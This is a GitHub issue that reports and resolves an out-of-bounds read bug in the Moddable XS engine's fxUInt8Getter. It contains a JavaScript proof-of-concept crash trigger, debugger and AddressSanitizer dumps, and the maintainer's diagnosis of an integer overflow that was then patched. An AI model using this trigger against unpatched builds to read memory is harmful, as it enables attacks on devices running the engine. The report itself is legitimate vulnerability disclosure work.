

New issue

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Out-of-bounds Read in fxUint8Getter #896

✓ Closed Q1IQ opened this issue on Apr 8 · 3 comments

Labels **confirmed**

Q1IQ commented on Apr 8 • edited ▾

Environment

Build environment: Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022
x86_64 x86_64 x86_64 GNU/Linux

Target device: sdk

Commit: [e26597b](#)

Proof of concept

poc.js

```
function main() {
  var a4 = [1111111111,1111111111,1111111111,1111111111,1111111111];
  var a5 = [11111111111111111111];
  var a8 = ``;
  var a9 = 0;
  var a10 = Uint32Array;
  var a11 = new Uint8ClampedArray();
  ({"buffer":a9,"byteLength":a10,"byteOffset":a8,} = a11);
  var a13 = new Uint8ClampedArray(a9,1111111111,...a4);
  var a14 = new Uint32Array(Symbol,1111111111111111,...a5,...a13);
}
main();
```

Analysis

In file: /moddable/xs/sources/xsDataView.c

```

2891 }
2892
2893 void fxUInt8Getter(txMachine* the, txSlot* data, txInteger offset, txSlot* slot, int
endian)
2894 {
2895     slot->kind = XS_INTEGER_KIND;
2896     slot->value.integer = c_read8((txU1*)(data->value.arrayBuffer.address + offset)); => [1]
2897     mxMeterOne();
2898 }
2899

```

Since the `offset` in [1] is controlled by attackers, this issue brings arbitrary memory read primitive.

```

RAX 0x800038ff226f
RBX 0x7ffff6c47590 ← 0x0
RCX 0x7ffff6c475f0 ← 0x0
RDX 0x7ffff6c4eca8 ← 0x0
RDI 0x5555557162a0 → 0x7ffff6c47590 ← 0x0
RSI 0x7ffff44670d0 → 0x7ffff44670f0 ← 0x0
R8 0x0
R9 0x555555c64cf (fxUInt8Getter) ← endbr64
R10 0x555555737004 ← 0xc7a000001e35390
R11 0x0
R12 0x0
R13 0x0
R14 0x7ffff445c890 → 0x7ffff445c8b0 → 0x7ffff445c8d0 → 0x7ffff445c8f0 ← 0x0
R15 0x7ffff6c476b0 → 0x7ffff6c479f0 → 0x7ffff6c47ad0 → 0x7ffff6c47bf0 ← 0x0
RBP 0x7ffffffffae50 → 0x7ffffffffaea0 → 0x7fffffffbb80 → 0x7fffffffbbd0 → 0x7fffffffbc30 ←
...
RSP 0x7ffffffffae50 → 0x7ffffffffaea0 → 0x7fffffffbb80 → 0x7fffffffbbd0 → 0x7fffffffbc30 ←
...
RIP 0x555555c6502 (fxUInt8Getter+51) ← movzx eax, byte ptr [rax]

```

[DISASM

```

]
0x555555c64ff <fxUInt8Getter+48> add rax, rdx
0x555555c6502 <fxUInt8Getter+51> movzx eax, byte ptr [rax]
0x555555c6505 <fxUInt8Getter+54> movzx edx, al
0x555555c6508 <fxUInt8Getter+57> mov rax, qword ptr [rbp - 0x20]
0x555555c650c <fxUInt8Getter+61> mov dword ptr [rax + 0x10], edx
0x555555c650f <fxUInt8Getter+64> nop
0x555555c6510 <fxUInt8Getter+65> pop rbp
0x555555c6511 <fxUInt8Getter+66> ret

0x555555c6512 <fxUInt8Setter> endbr64
0x555555c6516 <fxUInt8Setter+4> push rbp
0x555555c6517 <fxUInt8Setter+5> mov rbp, rsp
0x555555c651a <fxUInt8Setter+8> mov qword ptr [rbp - 0x18], rdi

```

[SOURCE (CODE)

```

]
In file: /home/q1iq/Documents/share/moddable-origin/e26597b/moddable/xs/sources/xsDataView.c
2891 }
2892
2893 void fxUInt8Getter(txMachine* the, txSlot* data, txInteger offset, txSlot* slot, int
endian)

```

```

2894 {
2895     slot->kind = XS_INTEGER_KIND;
▶ 2896     slot->value.integer = c_read8((txU1*)(data->value.arrayBuffer.address + offset));
2897     mxMeterOne();
2898 }
2899
2900 void fxUInt8Setter(txMachine* the, txSlot* data, txInteger offset, txSlot* slot, int
endian)
2901 {

```

```

]-----[ STACK
]-----[
00:0000| rbp rsp 0x7fffffffdae50 → 0x7fffffffdae0 → 0x7fffffffbb80 → 0x7fffffffbbd0 →
0x7fffffffbc30 ← ...
01:0008|     0x7fffffffdae58 → 0x5555555bcc42 (fxTypedArrayGetter+329) ← nop
02:0010|     0x7fffffffdae60 → 0x7fffffffdae90 → 0x7ffff4467250 → 0x7ffff4467270 ← 0x0
03:0018|     0x7fffffffdae68 → 0x55555557162a0 → 0x7ffff6c47590 ← 0x0
04:0020|     0x7fffffffdae70 ← 0x7450 /* 'Pt' */
05:0028|     0x7fffffffdae78 ← 0x423a35c700000000
06:0030|     0x7fffffffdae80 → 0x7ffff4467210 → 0x7ffff4467230 → 0x7ffff4467250 →
0x7ffff4467270 ← ...
07:0038|     0x7fffffffdae88 → 0x7ffff4467230 → 0x7ffff4467250 → 0x7ffff4467270 ← 0x0

```

```

]-----[ BACKTRACE
]-----[
▶ f 0  0x5555555c6502 fxUInt8Getter+51
f 1  0x5555555bcc42 fxTypedArrayGetter+329
f 2  0x555555562d8d4 fxRunID+3486
f 3  0x55555558576e fxGetAll+598
f 4  0x55555559c824 fx_ArrayIterator_prototype_next+357
f 5  0x555555562d8d4 fxRunID+3486
f 6  0x55555556476fa fxRunScript+3157
f 7  0x55555556ac0ef fxRunProgramFile+190

```

In this case, `rax` is an out-of-bounds read index of the `value.arrayBuffer.address`, which has the value of `0x7ffff6c4eca8+1111111111`.

ASAN Stack dump

AddressSanitizer:DEADLYSIGNAL

=====

==1832495==ERROR: AddressSanitizer: SEGV on unknown address 0x7fa3408a4a6f (pc 0x0000005dcb52 bp 0x7ffcb61fa520 sp 0x7ffcb61fa490 T0)

==1832495==The signal is caused by a READ memory access.

```

#0 0x5dcb52 in fxUInt8Getter /home/q1iq/Documents/moddable/xs/sources/xsDataView.c:2895:24
#1 0x5bdef6 in fxTypedArrayGetter /home/q1iq/Documents/moddable/xs/sources/xsDataView.c:1013:4
#2 0x7bb754 in fxRunID /home/q1iq/Documents/moddable/xs/sources/xsRun.c:845:7
#3 0x4e7d61 in fxGetAll /home/q1iq/Documents/moddable/xs/sources/xsAPI.c:974:4
#4 0x5357f2 in fx_ArrayIterator_prototype_next
/home/q1iq/Documents/moddable/xs/sources/xsArray.c:2592:5
#5 0x7bb754 in fxRunID /home/q1iq/Documents/moddable/xs/sources/xsRun.c:845:7
#6 0x82df0f in fxRunScript /home/q1iq/Documents/moddable/xs/sources/xsRun.c:4790:4
#7 0xa02bbe in fxRunProgramFile /home/q1iq/Documents/moddable/xs/tools/xst.c:1640:2
#8 0x9fcdad in main /home/q1iq/Documents/moddable/xs/tools/xst.c:332:8
#9 0x7fa302a7a082 in __libc_start_main /build/glibc-KZwQYS/glibc-2.31/csu/../csu/libc-
start.c:308:16

```

```
#10 0x42f66d in _start (/home/q1iq/Documents/moddable/build/bin/lin/debug/xst+0x42f66d)
```

AddressSanitizer can not provide additional info.

```
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/moddable/xs/sources/xsDataView.c:2895:24 in  
fxUInt8Getter  
==1832495==ABORTING
```

Credit

P1umer(@P1umer) and Q1IQ(@Q1IQ)

 **phoddie** added the **confirmed** label on Apr 8

phoddie commented on Apr 8

Collaborator

Thank you for the detailed report.

A quick review suggests that the problem is integer overflow in the `TypedArray` constructor:

[moddable/xs/sources/xsDataView.c](#)
Line 1360 in e26597b

```
1360      if (info->value.bufferInfo.length < (offset + size))
```

The expression `offset + size` overflows, bypassing the range check. Replacing that with `fxAddChunkSizes(the, offset, size)` catches the overflow.

A similar issue appears to be present in the [DataView constructor](#). We'll review for related issues.

 **mkellner** pushed a commit that referenced this issue on Apr 12

XS: [#896](#)

135aa9a

P1umer commented on Apr 15

Nice work! The problem disappeared with the patch. Bug fixed.

phoddie commented on Apr 15

Collaborator

Cool. Thank you for verifying.



phoddie closed this as completed on Apr 15

Assignees

No one assigned

Labels

confirmed

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

